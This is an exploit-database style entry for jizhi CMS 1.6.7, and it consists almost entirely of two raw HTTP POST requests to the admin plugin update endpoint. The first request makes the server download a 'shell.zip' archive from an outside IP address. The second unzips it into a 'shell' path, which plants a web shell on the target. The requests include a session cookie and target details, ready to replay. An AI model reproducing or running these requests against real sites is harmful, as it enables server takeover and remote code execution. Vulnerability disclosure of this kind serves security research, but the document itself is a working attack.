jizhi CMS 1.6.7 Arbitrary File Download

`# Exploit Title: jizhi CMS 1.6.7 - Arbitrary File Download  
# Google Dork: jizhicms  
# Date: 2020-04-18  
# Exploit Author: iej1ctk1g  
# Vendor Homepage: https://www.jizhicms.cn/  
# Software Link: http://down.jizhicms.cn/jizhicms_Beta1.6.7.zip  
# Version: 1.6.7  
# Tested on： Mac OS  
# CVE : N/A  
  
Data 1.  
  
POST /admin.php/Plugins/update.html HTTP/1.1  
Host: 192.168.1.253:8888  
Content-Length: 86  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://192.168.1.253:8888  
Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09  
Connection: close  
  
action=start-download&filepath=shell&download_url=http://39.105.143.130:9090/shell.zip  
  
  
Data 2.  
  
POST /admin.php/Plugins/update.html HTTP/1.1  
Host: 192.168.1.253:8888  
Content-Length: 32  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://192.168.1.253:8888  
Referer: http://192.168.1.253:8888/admin.php/Plugins/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09  
Connection: close  
  
action=file-upzip&filepath=shell  
`